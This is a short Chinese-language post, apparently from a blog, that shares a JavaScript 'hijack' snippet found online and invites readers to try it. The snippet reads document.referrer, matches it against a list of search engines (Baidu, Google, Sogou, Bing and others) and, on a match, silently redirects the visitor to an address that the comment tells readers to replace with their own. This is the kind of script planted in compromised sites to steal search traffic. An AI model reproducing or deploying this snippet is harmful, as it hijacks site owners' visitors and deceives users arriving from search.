今天网上冲浪看到别人分享的一段JS劫持代码;

具体没有测试,分享出来大家自己测试;

应该主要是从搜索引擎中访问才会跳转,直接访问无效;

以下是代码

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href='https://www.cnblogs.com/shenjingwa'//这里修改需要自己的地址
}

 

相关文章:

  • 2021-04-02
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-12-28
  • 2021-07-24
猜你喜欢
  • 2022-12-23
  • 2021-05-29
  • 2022-12-23
  • 2022-12-23
  • 2021-05-30
  • 2022-12-23
  • 2021-07-25
相关资源
相似解决方案